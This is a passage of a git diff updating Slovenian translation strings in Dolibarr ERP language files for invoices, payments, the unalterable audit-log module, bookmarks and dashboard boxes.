+ErrorCanOnlyAutomaticallyGenerateADepositFromProposalOrOrder=Polog lahko samodejno ustvarite le iz predloga ali naročila +ErrorPaymentConditionsNotEligibleToDepositCreation=Izbrani plačilni pogoji niso primerni za samodejno ustvarjanje depozita # PaymentType PaymentTypeVIR=Bančni transfer PaymentTypeShortVIR=Bančni transfer -PaymentTypePRE=Direct debit payment order -PaymentTypeShortPRE=Debit payment order +PaymentTypePRE=Plačilni nalog za direktno obremenitev +PaymentTypePREdetails=(na račun *-%s) +PaymentTypeShortPRE=Debetni nalog PaymentTypeLIQ=Gotovina PaymentTypeShortLIQ=Gotovina PaymentTypeCB=Kreditna kartica PaymentTypeShortCB=Kreditna kartica PaymentTypeCHQ=Ček PaymentTypeShortCHQ=Ček -PaymentTypeTIP=TIP (Documents against Payment) -PaymentTypeShortTIP=TIP Payment -PaymentTypeVAD=Online payment -PaymentTypeShortVAD=Online payment -PaymentTypeTRA=Bank draft +PaymentTypeTIP=NAMIG (Dokumenti proti plačilu) +PaymentTypeShortTIP=NAMIG Plačilo +PaymentTypeVAD=Spletno plačilo +PaymentTypeShortVAD=Spletno plačilo +PaymentTypeTRA=Bančni menici PaymentTypeShortTRA=Osnutek PaymentTypeFAC=Faktor PaymentTypeShortFAC=Faktor @@ -453,22 +470,22 @@ PaymentTypeDC=Debetna/Kreditna kartica PaymentTypePP=PayPal BankDetails=Podatki o banki BankCode=Koda banke -DeskCode=Branch code +DeskCode=Šifra podružnice BankAccountNumber=Koda računa -BankAccountNumberKey=Checksum +BankAccountNumberKey=Kontrolna vsota Residence=Naslov -IBANNumber=IBAN account number +IBANNumber=Številka računa IBAN IBAN=IBAN -CustomerIBAN=IBAN of customer -SupplierIBAN=IBAN of vendor +CustomerIBAN=IBAN stranke +SupplierIBAN=IBAN dobavitelja BIC=BIC/SWIFT -BICNumber=BIC/SWIFT code +BICNumber=Koda BIC/SWIFT ExtraInfos=Dodatne informacije RegulatedOn=Urejen dne ChequeNumber=Ček N° ChequeOrTransferNumber=Ček/Prenos N° -ChequeBordereau=Check schedule -ChequeMaker=Check/Transfer sender +ChequeBordereau=Preverite načrtovane dogodke +ChequeMaker=Preveri/prenesi pošiljatelja ChequeBank=Banka izdajalka čeka CheckBank=Ček NetToBePaid=Neto za plačilo @@ -476,79 +493,80 @@ PhoneNumber=Tel FullPhoneNumber=Telefon TeleFax=Fax PrettyLittleSentence=Potrjujem zneske pretečenih plačil s čeki, izdanimi v mojem imenu, kot član združenja računovodij potrjen s strani davčne administracije. -IntracommunityVATNumber=Intra-Community VAT ID -PaymentByChequeOrderedTo=Check payments (including tax) are payable to %s, send to -PaymentByChequeOrderedToShort=Check payments (incl. tax) are payable to +IntracommunityVATNumber=ID za DDV znotraj Skupnosti +PaymentByChequeOrderedTo=Plačila s čeki (vključno z davkom) se plačajo na %s, pošljite na +PaymentByChequeOrderedToShort=Plačila s čeki (vključno z davkom) se plačajo na SendTo=Pošlji za -PaymentByTransferOnThisBankAccount=Payment by transfer to the following bank account +PaymentByTransferOnThisBankAccount=Plačilo z nakazilom na naslednji TRR VATIsNotUsedForInvoice=* Non applicable VAT art-293B of CGI +VATIsNotUsedForInvoiceAsso=* Neuporabni DDV art-261-7 CGI LawApplicationPart1=By application of the law 80.335 of 12/05/80 LawApplicationPart2=Blago ostane last prodajalca -LawApplicationPart3=the seller until full payment of +LawApplicationPart3=prodajalec do celotnega plačila LawApplicationPart4=vrednosti. LimitedLiabilityCompanyCapital=d.o.o. s kapitalom UseLine=Uporabi UseDiscount=Uporabi popust UseCredit=Uporabi dobropis UseCreditNoteInInvoicePayment=Znižana vrednost za plačilo s tem dobropipsom -MenuChequeDeposits=Check Deposits +MenuChequeDeposits=Čekovni depoziti MenuCheques=Čeki -MenuChequesReceipts=Check receipts +MenuChequesReceipts=Preverite račune NewChequeDeposit=Nov polog -ChequesReceipts=Check receipts -ChequesArea=Check deposits area -ChequeDeposits=Check deposits +ChequesReceipts=Preverite račune +ChequesArea=Območje za depozite čekov +ChequeDeposits=Čekovni depoziti Cheques=Čeki DepositId=ID depozita NbCheque=Število čekov -CreditNoteConvertedIntoDiscount=This %s has been converted into %s -UsBillingContactAsIncoiveRecipientIfExist=Use contact/address with type 'billing contact' instead of third-party address as recipient for invoices +CreditNoteConvertedIntoDiscount=Ta %s je bil pretvorjen v %s +UsBillingContactAsIncoiveRecipientIfExist=Uporabite kontakt/naslov z vrsto 'kontakt za obračunavanje' namesto naslova partnerja kot prejemnika računa ShowUnpaidAll=Prikaži vse neplačane račune ShowUnpaidLateOnly=Prikaži samo zapadle neplačane račune PaymentInvoiceRef=Račun za plačilo %s ValidateInvoice=Potrdi račun -ValidateInvoices=Validate invoices +ValidateInvoices=Potrdite račune Cash=Gotovina Reported=Odlog DisabledBecausePayments=Ni možno zaradi nekaterih odprtih plačil CantRemovePaymentWithOneInvoicePaid=Brisanje plačila ni možno, ker je vsaj en račun označen kot plačan -CantRemovePaymentVATPaid=Can't remove payment since VAT declaration is classified paid -CantRemovePaymentSalaryPaid=Can't remove payment since salary is classified paid +CantRemovePaymentVATPaid=Plačila ni mogoče odstraniti, ker je izjava DDV označena kot plačano +CantRemovePaymentSalaryPaid=Plačila ni mogoče odstraniti, ker je plača označena kot izplačana ExpectedToPay=Pričakovano plačilo -CantRemoveConciliatedPayment=Can't remove reconciled payment +CantRemoveConciliatedPayment=Usklajenega plačila ni mogoče odstraniti PayedByThisPayment=Plačano s tem plačilom -ClosePaidInvoicesAutomatically=Classify automatically all standard, down payment or replacement invoices as "Paid" when payment is done entirely. -ClosePaidCreditNotesAutomatically=Classify automatically all credit notes as "Paid" when refund is done entirely. -ClosePaidContributionsAutomatically=Classify automatically all social or fiscal contributions as "Paid" when payment is done entirely. -ClosePaidVATAutomatically=Classify automatically VAT declaration as "Paid" when payment is done entirely. -ClosePaidSalaryAutomatically=Classify automatically salary as "Paid" when payment is done entirely. -AllCompletelyPayedInvoiceWillBeClosed=All invoices with no remainder to pay will be automatically closed with status "Paid". +ClosePaidInvoicesAutomatically=Samodejno razvrstite vse standardne, predplačila ali nadomestne račune kot "plačane", ko je plačilo v celoti izvedeno. +ClosePaidCreditNotesAutomatically=Samodejno razvrsti vse dobropise kot "plačano", ko je vračilo opravljeno v celoti. +ClosePaidContributionsAutomatically=Samodejno razvrsti vse socialne ali davčne prispevke kot "plačane", ko je plačilo opravljeno v celoti. +ClosePaidVATAutomatically=Samodejno razvrstite napoved DDV kot "Plačano", ko je plačilo opravljeno v celoti. +ClosePaidSalaryAutomatically=Samodejno razvrsti plačo kot "izplačano", ko je izplačilo opravljeno v celoti. +AllCompletelyPayedInvoiceWillBeClosed=Vsi računi brez ostanka za plačilo bodo samodejno zaprti s statusom "Plačano". ToMakePayment=Plačati ToMakePaymentBack=Vrniti plačilo ListOfYourUnpaidInvoices=Seznam neplačanih računov NoteListOfYourUnpaidInvoices=Opomba: Ta seznam vsebuje samo račune za partnerje, ki so povezani z referentom. -RevenueStamp=Tax stamp -YouMustCreateInvoiceFromThird=This option is only available when creating an invoice from tab "Customer" of third party -YouMustCreateInvoiceFromSupplierThird=This option is only available when creating an invoice from tab "Vendor" of third party -YouMustCreateStandardInvoiceFirstDesc=You have to create a standard invoice first and convert it to "template" to create a new template invoice -PDFCrabeDescription=Invoice PDF template Crabe. A complete invoice template (old implementation of Sponge template) -PDFSpongeDescription=Invoice PDF template Sponge. A complete invoice template -PDFCrevetteDescription=Invoice PDF template Crevette. A complete invoice template for situation invoices -TerreNumRefModelDesc1=Return number in the format %syymm-nnnn for standard invoices and %syymm-nnnn for credit notes where yy is year, mm is month and nnnn is a sequencial auto-incrementing number with no break and no return to 0 -MarsNumRefModelDesc1=Return number in the format %syymm-nnnn for standard invoices, %syymm-nnnn for replacement invoices, %syymm-nnnn for down payment invoices and %syymm-nnnn for credit notes where yy is year, mm is month and nnnn is a sequencial auto-incrementing number with no break and no return to 0 +RevenueStamp=Davčna znamka +YouMustCreateInvoiceFromThird=Ta možnost je na voljo samo pri ustvarjanju računa iz zavihka "Kupci" +YouMustCreateInvoiceFromSupplierThird=Ta možnost je na voljo samo pri ustvarjanju računa iz zavihka "Dobavitelj" +YouMustCreateStandardInvoiceFirstDesc=Najprej morate ustvariti standardni račun in ga pretvoriti v "predlogo", da ustvarite novo predlogo računa +PDFCrabeDescription=Predloga računa PDF Crabe. Popolna predloga računa (stara izvedba predloge Sponge) +PDFSpongeDescription=Račun PDF predloga Sponge. Popolna predloga računa +PDFCrevetteDescription=PDF predloga računa Crevette. Popolna predloga računa za situacijske račune +TerreNumRefModelDesc1=Povratna številka v obliki %syymm-nnnn za standardne račune in %syymm-nnnn za dobropise, kjer je yy leto, mm je mesec in nnnn je zaporedno samodejno naraščajoče število brez prekinitve in vrnitve na 0 +MarsNumRefModelDesc1=Povratna številka v formatu %syymm-nnnn za standardne račune, %syymm-nnnn za nadomestne račune, %syymm-nnnn za račune s pologom in %syymm-nnnn za dobropise, kjer je yy leto, mm je samodejna nnn zaporedno število meseca in brez odmora in vrnitve na 0 TerreNumRefModelError=Račun z začetkom $syymm že obstaja in ni kompatibilen s tem modelom zaporedja. Odstranite ga ali ga preimenujte za aktiviranje tega modula. -CactusNumRefModelDesc1=Return number in the format %syymm-nnnn for standard invoices, %syymm-nnnn for credit notes and %syymm-nnnn for down payment invoices where yy is year, mm is month and nnnn is a sequencial auto-incrementing number with no break and no return to 0 -EarlyClosingReason=Early closing reason -EarlyClosingComment=Early closing note +CactusNumRefModelDesc1=Povratna številka v obliki %syymm-nnnn za standardne račune, %syymm-nnnn za dobropise in %syymm-nnnn za račune s pologom, kjer je yy leto, mm je mesec in nnnn je zaporedno samodejno naraščajoče število brez prekinitve in vrnitve na 0 +EarlyClosingReason=Razlog za predčasno zaprtje +EarlyClosingComment=Zgodnja zaključna opomba ##### Types de contacts ##### TypeContact_facture_internal_SALESREPFOLL=Predstavnik za sledenje računa kupcu TypeContact_facture_external_BILLING=Kontakt za račun kupcu TypeContact_facture_external_SHIPPING=Kontakt za pošiljanje kupcu TypeContact_facture_external_SERVICE=Kontakt za servis pri kupcu -TypeContact_invoice_supplier_internal_SALESREPFOLL=Representative following-up vendor invoice -TypeContact_invoice_supplier_external_BILLING=Dobaviteljeva kontaktna oseba za fakture -TypeContact_invoice_supplier_external_SHIPPING=Dobaviteljeva kontaktna oseba za dobave -TypeContact_invoice_supplier_external_SERVICE=Vendor service contact +TypeContact_invoice_supplier_internal_SALESREPFOLL=Vzorčni prejeti račun +TypeContact_invoice_supplier_external_BILLING=Stik za prejete račune +TypeContact_invoice_supplier_external_SHIPPING=Stik za pošiljanje +TypeContact_invoice_supplier_external_SERVICE=Stik servisne službe # Situation invoices InvoiceFirstSituationAsk=Račun za prvo situacijo InvoiceFirstSituationDesc=Situacijski računi so vezani na situacijo glede na napredek, na primer na napredek gradnje. Vska situacija je povezana z računom. @@ -560,10 +578,10 @@ SituationAmount=Vrednost računa za situacijo (neto) SituationDeduction=Odštevanje situacije ModifyAllLines=Uredi vse vrstice CreateNextSituationInvoice=Ustvari naslednjo situacijo -ErrorFindNextSituationInvoice=Error unable to find next situation cycle ref -ErrorOutingSituationInvoiceOnUpdate=Unable to outing this situation invoice. -ErrorOutingSituationInvoiceCreditNote=Unable to outing linked credit note. -NotLastInCycle=This invoice is not the latest in cycle and must not be modified. +ErrorFindNextSituationInvoice=Napaka ni mogoče najti naslednjega cikla situacije ref +ErrorOutingSituationInvoiceOnUpdate=Računa za to situacijo ni mogoče izdati. +ErrorOutingSituationInvoiceCreditNote=Povezanega dobropisa ni mogoče poslati. +NotLastInCycle=Ta račun ni zadnji v ciklu in ga ni dovoljeno spreminjati. DisabledBecauseNotLastInCycle=Naslednja situacija že obstaja. DisabledBecauseFinal=Ta situacija je končna. situationInvoiceShortcode_AS=AS @@ -571,39 +589,45 @@ situationInvoiceShortcode_S=N CantBeLessThanMinPercent=Napredek ne more biti manjši, kot je vrednost prejšnje situacije NoSituations=Nobena situacija ni odprta InvoiceSituationLast=Končni in skupni račun -PDFCrevetteSituationNumber=Situation N°%s -PDFCrevetteSituationInvoiceLineDecompte=Situation invoice - COUNT +PDFCrevetteSituationNumber=Stanje št. %s +PDFCrevetteSituationInvoiceLineDecompte=Račun stanja - ŠTEV PDFCrevetteSituationInvoiceTitle=Situacijski račun -PDFCrevetteSituationInvoiceLine=Situation N°%s: Inv. N°%s on %s -TotalSituationInvoice=Total situation -invoiceLineProgressError=Invoice line progress can't be greater than or equal to the next invoice line -updatePriceNextInvoiceErrorUpdateline=Error: update price on invoice line: %s -ToCreateARecurringInvoice=To create a recurring invoice for this contract, first create this draft invoice, then convert it into an invoice template and define the frequency for generation of future invoices. -ToCreateARecurringInvoiceGene=To generate future invoices regularly and manually, just go on menu %s - %s - %s. -ToCreateARecurringInvoiceGeneAuto=If you need to have such invoices generated automatically, ask your administrator to enable and setup module %s. Note that both methods (manual and automatic) can be used together with no risk of duplication. -DeleteRepeatableInvoice=Delete template invoice -ConfirmDeleteRepeatableInvoice=Are your sure you want to delete the template invoice? -CreateOneBillByThird=Create one invoice per third party (otherwise, one invoice per selected object) -BillCreated=%s invoice(s) generated -BillXCreated=Invoice %s generated -StatusOfGeneratedDocuments=Status of document generation -DoNotGenerateDoc=Do not generate document file -AutogenerateDoc=Auto generate document file -AutoFillDateFrom=Set start date for service line with invoice date -AutoFillDateFromShort=Set start date -AutoFillDateTo=Set end date for service line with next invoice date -AutoFillDateToShort=Set end date -MaxNumberOfGenerationReached=Max number of gen. reached -BILL_DELETEInDolibarr=Invoice deleted -BILL_SUPPLIER_DELETEInDolibarr=Supplier invoice deleted -UnitPriceXQtyLessDiscount=Unit price x Qty - Discount -CustomersInvoicesArea=Customer billing area -SupplierInvoicesArea=Supplier billing area -FacParentLine=Invoice Line Parent -SituationTotalRayToRest=Remainder to pay without taxe -PDFSituationTitle=Situation n° %d -SituationTotalProgress=Total progress %d %% -SearchUnpaidInvoicesWithDueDate=Search unpaid invoices with a due date = %s -NoPaymentAvailable=No payment available for %s -PaymentRegisteredAndInvoiceSetToPaid=Payment registered and invoice %s set to paid -SendEmailsRemindersOnInvoiceDueDate=Send reminder by email for unpaid invoices +PDFCrevetteSituationInvoiceLine=Situacija N°%s: Inv. N°%s na %s +TotalSituationInvoice=Totalna situacija +invoiceLineProgressError=Napredek v vrstici računa ne sme biti večji ali enak naslednji vrstici računa +updatePriceNextInvoiceErrorUpdateline=Napaka: posodobite ceno v vrstici računa: %s +ToCreateARecurringInvoice=Če želite ustvariti ponavljajoči se račun za to pogodbo, najprej ustvarite ta osnutek računa, nato ga pretvorite v predlogo računa in določite pogostost za generiranje prihodnjih računov. +ToCreateARecurringInvoiceGene=Za redno in ročno ustvarjanje prihodnjih računov pojdite na meni %s - %s - %s . +ToCreateARecurringInvoiceGeneAuto=Če želite, da se takšni računi ustvarijo samodejno, prosite svojega skrbnika, da omogoči in nastavi modul %s . Upoštevajte, da je mogoče obe metodi (ročno in samodejno) uporabiti skupaj brez tveganja podvajanja. +DeleteRepeatableInvoice=Izbriši predlogo računa +ConfirmDeleteRepeatableInvoice=Ste prepričani, da želite izbrisati predlogo računa? +CreateOneBillByThird=Izdelajte en račun za partnerja (sicer en račun na izbran predmet) +BillCreated=%s ustvarjenih računov +BillXCreated=Ustvarjen račun %s +StatusOfGeneratedDocuments=Status generiranja dokumenta +DoNotGenerateDoc=Ne ustvari datoteke dokumenta +AutogenerateDoc=Samodejno ustvari datoteko dokumenta +AutoFillDateFrom=Nastavite začetni datum za vrstico storitve z datumom računa +AutoFillDateFromShort=Nastavite začetni datum +AutoFillDateTo=Nastavite končni datum storitvene vrstice z datumom naslednjega računa +AutoFillDateToShort=Nastavite končni datum +MaxNumberOfGenerationReached=Največje število gen. dosežen +BILL_DELETEInDolibarr=Račun izbrisan +BILL_SUPPLIER_DELETEInDolibarr=Račun dobavitelja izbrisan +UnitPriceXQtyLessDiscount=Cena na enoto x količina - popust +CustomersInvoicesArea=Obračunsko območje stranke +SupplierInvoicesArea=Obračunsko območje dobavitelja +SituationTotalRayToRest=Preostanek plačati brez davka +PDFSituationTitle=Situacija št. %d +SituationTotalProgress=Skupni napredek %d %% +SearchUnpaidInvoicesWithDueDate=Iskanje neplačanih računov z rokom zapadlosti = %s +NoPaymentAvailable=Za %s plačilo ni na voljo +PaymentRegisteredAndInvoiceSetToPaid=Plačilo registrirano in račun %s nastavljen na plačan +SendEmailsRemindersOnInvoiceDueDate=Pošlji opomin po e-pošti za neplačane račune +MakePaymentAndClassifyPayed=Rekordno plačilo +BulkPaymentNotPossibleForInvoice=Plačilo ni mogoče za račun %s (nepravilna oznaka ali status) +MentionVATDebitOptionIsOn=Option to pay tax based on debits +MentionCategoryOfOperations=Category of operations +MentionCategoryOfOperations0=Delivery of goods +MentionCategoryOfOperations1=Provision of services +MentionCategoryOfOperations2=Mixed - Delivery of goods & provision of services diff --git a/htdocs/langs/sl_SI/blockedlog.lang b/htdocs/langs/sl_SI/blockedlog.lang index 215867fc4b1..2f3553c91f1 100644 --- a/htdocs/langs/sl_SI/blockedlog.lang +++ b/htdocs/langs/sl_SI/blockedlog.lang @@ -1,57 +1,61 @@ -BlockedLog=Unalterable Logs +BlockedLog=Nespremenljivi dnevniki Field=Polje -BlockedLogDesc=This module tracks some events into an unalterable log (that you can't modify once recorded) into a block chain, in real time. This module provides compatibility with requirements of laws of some countries (like France with the law Finance 2016 - Norme NF525). -Fingerprints=Archived events and fingerprints -FingerprintsDesc=This is the tool to browse or extract the unalterable logs. Unalterable logs are generated and archived locally into a dedicated table, in real time when you record a business event. You can use this tool to export this archive and save it into an external support (some countries, like France, ask that you do it every year). Note that, there is no feature to purge this log and every change tried to be done directly into this log (by a hacker for example) will be reported with a non-valid fingerprint. If you really need to purge this table because you used your application for a demo/test purpose and want to clean your data to start your production, you can ask your reseller or integrator to reset your database (all your data will be removed). -CompanyInitialKey=Company initial key (hash of genesis block) -BrowseBlockedLog=Unalterable logs -ShowAllFingerPrintsMightBeTooLong=Show all archived logs (might be long) -ShowAllFingerPrintsErrorsMightBeTooLong=Show all non-valid archive logs (might be long) -DownloadBlockChain=Download fingerprints -KoCheckFingerprintValidity=Archived log entry is not valid. It means someone (a hacker?) has modified some data of this record after it was recorded, or has erased the previous archived record (check that line with previous # exists) or has modified checksum of the previous record. -OkCheckFingerprintValidity=Archived log record is valid. The data on this line was not modified and the entry follows the previous one. -OkCheckFingerprintValidityButChainIsKo=Archived log seems valid compared to previous one but the chain was corrupted previously. -AddedByAuthority=Stored into remote authority -NotAddedByAuthorityYet=Not yet stored into remote authority -ShowDetails=Show stored details -logPAYMENT_VARIOUS_CREATE=Payment (not assigned to an invoice) created -logPAYMENT_VARIOUS_MODIFY=Payment (not assigned to an invoice) modified -logPAYMENT_VARIOUS_DELETE=Payment (not assigned to an invoice) logical deletion -logPAYMENT_ADD_TO_BANK=Payment added to bank -logPAYMENT_CUSTOMER_CREATE=Customer payment created -logPAYMENT_CUSTOMER_DELETE=Customer payment logical deletion -logDONATION_PAYMENT_CREATE=Donation payment created -logDONATION_PAYMENT_DELETE=Donation payment logical deletion -logBILL_PAYED=Customer invoice paid -logBILL_UNPAYED=Customer invoice set unpaid +BlockedLogDesc=Ta modul sledi nekaterim dogodkom v nespremenljiv dnevnik (ki ga ne morete spreminjati, ko je enkrat zabeležen) v verigo blokov v realnem času. Ta modul zagotavlja združljivost z zahtevami zakonov nekaterih držav (na primer Francija z zakonom Finance 2016 - Norme NF525). +Fingerprints=Arhivirani dogodki in prstni odtisi +FingerprintsDesc=To je orodje za brskanje ali ekstrahiranje nespremenljivih dnevnikov. Nespremenljivi dnevniki se ustvarijo in arhivirajo lokalno v namensko tabelo, v realnem času, ko zabeležite poslovni dogodek. S tem orodjem lahko izvozite ta arhiv in ga shranite v zunanjo podporo (nekatere države, kot je Francija, zahtevajo, da to storite vsako leto). Upoštevajte, da ni funkcije za čiščenje tega dnevnika in vsaka sprememba, ki jo poskusite narediti neposredno v tem dnevniku (na primer heker), bo prijavljena z neveljavnim prstnim odtisom. Če res morate počistiti to tabelo, ker ste svojo aplikacijo uporabili za predstavitvene/testne namene in želite očistiti svoje podatke za začetek proizvodnje, lahko prosite svojega prodajalca ali integratorja, da ponastavi vašo zbirko podatkov (vsi vaši podatki bodo odstranjeni). +CompanyInitialKey=Začetni ključ podjetja (hash of genesis block) +BrowseBlockedLog=Nespremenljivi dnevniki +ShowAllFingerPrintsMightBeTooLong=Prikaži vse arhivirane dnevnike (morda so dolgi) +ShowAllFingerPrintsErrorsMightBeTooLong=Prikaži vse neveljavne arhivske dnevnike (morda so dolgi) +DownloadBlockChain=Prenesite prstne odtise +KoCheckFingerprintValidity=Arhiviran vnos v dnevnik ni veljaven. To pomeni, da je nekdo (heker?) spremenil nekatere podatke tega zapisa, potem ko je bil posnet, ali je izbrisal prejšnji arhivirani zapis (preverite, ali obstaja ta vrstica s prejšnjim #) ali je spremenil kontrolno vsoto prejšnjega zapisa. +OkCheckFingerprintValidity=Arhiviran dnevniški zapis je veljaven. Podatki v tej vrstici niso bili spremenjeni in vnos sledi prejšnjemu. +OkCheckFingerprintValidityButChainIsKo=Arhiviran dnevnik se zdi veljaven v primerjavi s prejšnjim, vendar je bila veriga prej poškodovana. +AddedByAuthority=Shranjeno v oddaljenem organu +NotAddedByAuthorityYet=Še ni shranjeno v oddaljenem organu +ShowDetails=Pokaži shranjene podrobnosti +BlockedLogBillDownload=Prenos računa stranke +BlockedLogBillPreview=Predogled računa stranke +BlockedlogInfoDialog=Podrobnosti dnevnika +ListOfTrackedEvents=Seznam spremljanih dogodkov +Fingerprint=Prstni odtis +DownloadLogCSV=Izvozi arhivirane dnevnike (CSV) +logDOC_PREVIEW=Predogled potrjenega dokumenta za tiskanje ali prenos +logDOC_DOWNLOAD=Prenos potrjenega dokumenta za tiskanje ali pošiljanje +DataOfArchivedEvent=Celotni podatki arhiviranega dogodka +ImpossibleToReloadObject=Izvirni predmet (tip %s, id %s) ni povezan (glejte stolpec »Celotni podatki«, da dobite nespremenljive shranjene podatke) +BlockedLogAreRequiredByYourCountryLegislation=Zakonodaja vaše države morda zahteva modul Unalterable Logs. Če onemogočite ta modul, lahko morebitne prihodnje transakcije postanejo neveljavne glede na zakonodajo in uporabo zakonite programske opreme, saj jih ne more potrditi davčna revizija. +BlockedLogActivatedBecauseRequiredByYourCountryLegislation=Modul Unalterable Logs je bil aktiviran zaradi zakonodaje vaše države. Če onemogočite ta modul, lahko postanejo morebitne prihodnje transakcije neveljavne glede na zakonodajo in uporabo zakonite programske opreme, saj jih davčna revizija ne more potrditi. +BlockedLogDisableNotAllowedForCountry=Seznam držav, v katerih je uporaba tega modula obvezna (da preprečite pomotoma onemogočanje modula, če je vaša država na tem seznamu, onemogočanje modula ni mogoče, ne da bi najprej uredili ta seznam. Upoštevajte tudi, da bo omogočanje/onemogočanje tega modula vodite sled v nespremenljivem dnevniku). +OnlyNonValid=Neveljavno +TooManyRecordToScanRestrictFilters=Preveč zapisov za skeniranje/analizo. Omejite seznam s strožjimi filtri. +RestrictYearToExport=Omejite mesec/leto za izvoz +BlockedLogEnabled=Sistem za sledenje dogodkov v nespremenljive dnevnike je bil omogočen +BlockedLogDisabled=Sistem za sledenje dogodkov v nespremenljive dnevnike je bil onemogočen, potem ko je bilo opravljeno nekaj snemanja. Shranili smo poseben prstni odtis za sledenje verigi kot zlomljeni +BlockedLogDisabledBis=Sistem za sledenje dogodkov v nespremenljive dnevnike je onemogočen. To je mogoče, ker še ni bil narejen noben zapis. + +## logTypes +logBILL_DELETE=Račun stranke logično izbrisan +logBILL_PAYED=Plačan račun stranke +logBILL_SENTBYMAIL=Račun stranki pošljemo po pošti +logBILL_UNPAYED=Račun stranke ni plačan logBILL_VALIDATE=Potrjen račun -logBILL_SENTBYMAIL=Customer invoice send by mail -logBILL_DELETE=Customer invoice logically deleted -logMODULE_RESET=Module BlockedLog was disabled -logMODULE_SET=Module BlockedLog was enabled -logDON_VALIDATE=Donation validated -logDON_MODIFY=Donation modified -logDON_DELETE=Donation logical deletion -logMEMBER_SUBSCRIPTION_CREATE=Member subscription created -logMEMBER_SUBSCRIPTION_MODIFY=Member subscription modified -logMEMBER_SUBSCRIPTION_DELETE=Member subscription logical deletion -logCASHCONTROL_VALIDATE=Cash desk closing recording -BlockedLogBillDownload=Customer invoice download -BlockedLogBillPreview=Customer invoice preview -BlockedlogInfoDialog=Log Details -ListOfTrackedEvents=List of tracked events -Fingerprint=Fingerprint -DownloadLogCSV=Export archived logs (CSV) -logDOC_PREVIEW=Preview of a validated document in order to print or download -logDOC_DOWNLOAD=Download of a validated document in order to print or send -DataOfArchivedEvent=Full datas of archived event -ImpossibleToReloadObject=Original object (type %s, id %s) not linked (see 'Full datas' column to get unalterable saved data) -BlockedLogAreRequiredByYourCountryLegislation=Unalterable Logs module may be required by the legislation of your country. Disabling this module may render any future transactions invalid with respect to the law and the use of legal software as they can not be validated by a tax audit. -BlockedLogActivatedBecauseRequiredByYourCountryLegislation=Unalterable Logs module was activated because of the legislation of your country. Disabling this module may render any future transactions invalid with respect to the law and the use of legal software as they cannot be validated by a tax audit. -BlockedLogDisableNotAllowedForCountry=List of countries where usage of this module is mandatory (just to prevent to disable the module by error, if your country is in this list, disable of module is not possible without editing this list first. Note also that enabling/disabling this module will keep a track into the unalterable log). -OnlyNonValid=Non-valid -TooManyRecordToScanRestrictFilters=Too many records to scan/analyze. Please restrict list with more restrictive filters. -RestrictYearToExport=Restrict month / year to export -BlockedLogEnabled=System to track events into unalterable logs has been enabled -BlockedLogDisabled=System to track events into unalterable logs has been disabled after some recording were done. We saved a special Fingerprint to track the chain as broken -BlockedLogDisabledBis=System to track events into unalterable logs has been disabled. This is possible because no record were done yet. +logCASHCONTROL_VALIDATE=Posnetek zaprtja blagajne +logDOC_DOWNLOAD=Prenos potrjenega dokumenta za tiskanje ali pošiljanje +logDOC_PREVIEW=Predogled potrjenega dokumenta za tiskanje ali prenos +logDONATION_PAYMENT_CREATE=Ustvarjeno plačilo donacije +logDONATION_PAYMENT_DELETE=Logičen izbris plačila donacije +logDON_DELETE=Logično brisanje donacije +logDON_MODIFY=Donacija spremenjena +logDON_VALIDATE=Donacija potrjena +logMEMBER_SUBSCRIPTION_CREATE=Članska naročnina je ustvarjena +logMEMBER_SUBSCRIPTION_DELETE=Logično brisanje članske naročnine +logMEMBER_SUBSCRIPTION_MODIFY=Članska naročnina spremenjena +logMODULE_RESET=Modul BlockedLog je bil onemogočen +logMODULE_SET=Modul BlockedLog je bil omogočen +logPAYMENT_ADD_TO_BANK=Plačilo dodano banki +logPAYMENT_CUSTOMER_CREATE=Plačilo stranke ustvarjeno +logPAYMENT_CUSTOMER_DELETE=Logično brisanje plačila stranke +logPAYMENT_VARIOUS_CREATE=Plačilo (ni dodeljeno računu) ustvarjeno +logPAYMENT_VARIOUS_DELETE=Plačilo (ni dodeljeno računu) logično brisanje +logPAYMENT_VARIOUS_MODIFY=Plačilo (ni dodeljeno računu) spremenjeno diff --git a/htdocs/langs/sl_SI/bookmarks.lang b/htdocs/langs/sl_SI/bookmarks.lang index acbd840a992..7f889bf67d8 100644 --- a/htdocs/langs/sl_SI/bookmarks.lang +++ b/htdocs/langs/sl_SI/bookmarks.lang @@ -1,22 +1,23 @@ # Dolibarr language file - Source file is en_US - marque pages -AddThisPageToBookmarks=Add current page to bookmarks +AddThisPageToBookmarks=Dodajte trenutno stran med zaznamke Bookmark=Zaznamek Bookmarks=Zaznamki ListOfBookmarks=Seznam zaznamkov -EditBookmarks=List/edit bookmarks +EditBookmarks=Seznam/urejanje zaznamkov NewBookmark=Nov zaznamek ShowBookmark=Prikaži zaznamek -OpenANewWindow=Open a new tab -ReplaceWindow=Replace current tab -BookmarkTargetNewWindowShort=New tab -BookmarkTargetReplaceWindowShort=Current tab -BookmarkTitle=Bookmark name +OpenANewWindow=Odprite nov zavihek +ReplaceWindow=Zamenjaj trenutni zavihek +BookmarkTargetNewWindowShort=Nov zavihek +BookmarkTargetReplaceWindowShort=Trenutni zavihek +BookmarkTitle=Ime zaznamka UrlOrLink=URL -BehaviourOnClick=Behaviour when a bookmark URL is selected +BehaviourOnClick=Vedenje, ko je izbran URL zaznamka CreateBookmark=Kreiraj zaznamek -SetHereATitleForLink=Set a name for the bookmark -UseAnExternalHttpLinkOrRelativeDolibarrLink=Use an external/absolute link (https://externalurl.com) or an internal/relative link (/mypage.php). You can also use phone like tel:0123456. -ChooseIfANewWindowMustBeOpenedOnClickOnBookmark=Choose if the linked page should open in the current tab or a new tab +SetHereATitleForLink=Nastavite ime za zaznamek +UseAnExternalHttpLinkOrRelativeDolibarrLink=Uporabite zunanjo/absolutno povezavo (https://externalurl.com) ali notranjo/relativno povezavo (/mypage.php). Uporabite lahko tudi telefon tel:0123456. +ChooseIfANewWindowMustBeOpenedOnClickOnBookmark=Izberite, ali naj se povezana stran odpre v trenutnem zavihku ali novem zavihku BookmarksManagement=Urejanje zaznamkov BookmarksMenuShortCut=Ctrl + shift + m -NoBookmarks=No bookmarks defined +NoBookmarks=Ni določenih zaznamkov +NoBookmarkFound=Zaznamek ni bil najden diff --git a/htdocs/langs/sl_SI/boxes.lang b/htdocs/langs/sl_SI/boxes.lang index b2cbbc50e6a..f662f6b48dc 100644 --- a/htdocs/langs/sl_SI/boxes.lang +++ b/htdocs/langs/sl_SI/boxes.lang @@ -1,120 +1,122 @@ # Dolibarr language file - Source file is en_US - boxes -BoxDolibarrStateBoard=Statistics on main business objects in database -BoxLoginInformation=Login Information -BoxLastRssInfos=RSS Information -BoxLastProducts=Latest %s Products/Services 